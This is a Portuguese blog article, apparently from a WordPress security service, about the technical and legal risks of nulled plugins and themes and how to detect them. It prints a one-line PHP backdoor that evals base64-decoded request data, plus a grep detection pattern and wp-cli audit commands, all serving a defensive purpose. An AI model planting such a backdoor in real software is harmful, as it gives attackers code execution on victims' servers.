Plugins e temas nulled: riscos reais e como identificar

Plugin ou tema nulled (pirata) no WordPress: como os backdoors funcionam, riscos legais e técnicos, como descobrir se seu site tem um e alternativas baratas.

Plugin ou tema nulled é a versão pirata de um produto pago do WordPress, com a checagem de licença removida e distribuída de graça (ou "quase de graça") em sites de download, grupos e marketplaces informais. O problema não é só ético: quem tira a licença de um plugin pode colocar qualquer outra coisa no código, e é exatamente isso que acontece com frequência. Backdoors, redirecionamentos, spam e links escondidos vêm junto. Se o seu site usa um, a recomendação é direta: troque pela versão oficial ou por uma alternativa gratuita legítima, e verifique se o site já foi comprometido.

Como um plugin nulled vira porta de entrada

Para "anular" um plugin, alguém edita o código e remove a parte que valida a licença com o servidor do fabricante. Já que o arquivo está aberto, é muito fácil acrescentar algumas linhas. Os padrões mais comuns:

Backdoor clássico

Um trecho que recebe comandos pela URL ou por um formulário e executa no servidor. Costuma vir ofuscado:

// exemplo ilustrativo de padrão suspeito, não copie
if (isset($_REQUEST['k'])) { @eval(base64_decode($_REQUEST['k'])); }

Com isso, o invasor roda qualquer código no seu servidor, sem precisar de senha.

Criação de administrador escondido

O código cria um usuário administrador e, ao mesmo tempo, filtra a lista de usuários do painel para que ele não apareça para você.

Callback para servidor externo

O plugin "liga para casa" periodicamente e baixa um conteúdo novo. Hoje o código é inofensivo; amanhã o servidor do invasor manda um redirecionamento ou um script de spam.

Injeção de links e redirecionamentos

Links ocultos para cassino ou farmácia no rodapé (para vender "SEO" a terceiros) ou redirecionamento condicional de visitantes vindos do Google. Se isso parece familiar, veja WordPress redirecionando para outro site.

Bomba-relógio

O código malicioso fica dormindo semanas ou meses e só ativa depois. Por isso "instalei há tempos e nunca deu problema" não significa nada.

Os riscos, além do malware

Riscos técnicos

• Sem atualizações de segurança. Quando o fabricante corrige uma vulnerabilidade, você não recebe. Mesmo um nulled "limpo" vira alvo fácil com o tempo.
• Atualização por fonte duvidosa. Para atualizar, você baixa de novo do mesmo lugar, e cada nova versão é um novo risco.
• Sem suporte. Quebrou depois de atualizar o WordPress? Ninguém vai te ajudar.
• Reputação. Um site infectado pode receber aviso de "site perigoso" no Google, cair nas buscas e ser suspenso pela hospedagem.
• Dados de clientes. Se o site tem loja, formulários ou área de membros, um backdoor dá acesso aos dados pessoais deles, o que pode virar incidente a comunicar pela LGPD.

Riscos legais

Aqui vale ser preciso. Plugins e temas WordPress geralmente são distribuídos sob a licença GPL, que permite copiar e redistribuir o código PHP. Por isso, redistribuir o PHP de um plugin GPL não é, por si só, a mesma coisa que piratear um software fechado. Mas:

• muitos temas e plugins usam licença dividida: o PHP é GPL, mas imagens, CSS, fontes e outros arquivos têm licença própria e não podem ser redistribuídos livremente;
• a marca do produto é protegida, e a licença não dá direito a usá-la;
• chaves de licença, atualizações, suporte e serviços em nuvem do fabricante não fazem parte do código GPL;
• produtos que não são GPL (alguns plugins, scripts e bibliotecas comerciais) estão protegidos pela legislação de direito autoral e de software no Brasil (Lei 9.610/1998 e Lei 9.609/1998, a Lei do Software), que prevê punição para quem viola direitos de autor de programa de computador.

Em resumo: o risco jurídico depende do produto e da licença, enquanto o risco técnico é o mesmo para todos. E se você é agência ou freelancer, entregar um site de cliente com plugin pirata é colocar o nome dele e o seu em jogo. Isto é orientação geral, não parecer jurídico.

Como descobrir se seu site tem um plugin ou tema nulled

1. Lembre de onde veio

A pergunta mais simples: você (ou quem fez o site) comprou a licença? Tem nota, e-mail de compra, conta no site do fabricante? Se o site foi feito por terceiros, pergunte. Sites "baratos demais" com vários plugins premium inclusos são um sinal clássico.

2. Procure sinais no painel

• plugin premium que nunca pede ativação de licença, ou mostra "ativado" sem você ter inserido chave;
• avisos de atualização que nunca aparecem, ou versão muito atrás da atual no site do fabricante;
• textos como "nulled by", "GPL by", "cracked", nomes de sites de download em comentários do código ou no readme;
• plugins que você não reconhece, ou com autor/URL diferente do fabricante oficial.

3. Compare com o original

Se você tem acesso ao arquivo original (comprando ou baixando a versão gratuita do diretório oficial), compare:

diff -rq plugin-original/ wp-content/plugins/nome-do-plugin/

Arquivos a mais ou alterados merecem leitura atenta. Para plugins do diretório oficial (wordpress.org), o WP-CLI faz a comparação automaticamente:

wp plugin verify-checksums --all

Plugins pagos não são cobertos por esse comando, porque não estão no diretório oficial.

4. Busque padrões suspeitos no código

grep -rnE "eval\(|base64_decode\(|gzinflate\(|str_rot13\(|assert\(|create_function" \
  wp-content/plugins wp-content/themes --include=*.php | less

Atenção: plugins legítimos também usam algumas dessas funções (base64_decode aparece bastante). O que deve chamar atenção é a combinação: código ofuscado, uma linha gigante, eval sobre dados que vêm de $_REQUEST/$_POST/$_COOKIE, ou requisições para domínios desconhecidos.

5. Confira administradores e tarefas agendadas

wp user list --role=administrator
wp cron event list

Admin desconhecido ou evento de cron com nome estranho indicam que o estrago pode já ter acontecido.

Atenção: se encontrar qualquer coisa suspeita, não basta desinstalar o plugin. Trate como invasão: siga o que fazer quando o site WordPress é invadido e depois como remover malware e backdoors.

Alternativas legítimas (e baratas)

Quase sempre existe um caminho legal que custa pouco ou nada:

Dicas práticas:

• Compre direto do fabricante ou de marketplaces conhecidos. Desconfie de "clubes" que vendem centenas de plugins premium por um valor simbólico: você não controla de onde vêm os arquivos.
• Fique de olho em promoções, que muitos fabricantes fazem em datas como a Black Friday.
• Some o custo real. A licença anual de um plugin raramente custa mais que limpar um site invadido, recuperar a posição no Google e explicar o ocorrido aos clientes.

Checklist rápido

• Todos os plugins e temas pagos têm licença comprovada
• Plugins sem uso removidos (não só desativados)
• wp plugin verify-checksums --all sem alertas
• Nenhum admin ou cron desconhecido
• Atualizações chegando normalmente pelo painel
• Backup fora do servidor antes de trocar qualquer plugin

Se encontrou um nulled no seu site

Trocar o plugin pela versão oficial é simples. O que dá trabalho é ter certeza de que ele não deixou nada para trás. Se quiser ajuda nisso, a Mobgeek faz a limpeza e verificação de site WordPress invadido, a partir de R$ 790, com início em até 24h e 30 dias de garantia. E se o site precisa ser refeito do zero com base limpa, veja também a criação de sites. Para conversar sobre o seu caso, peça um orçamento.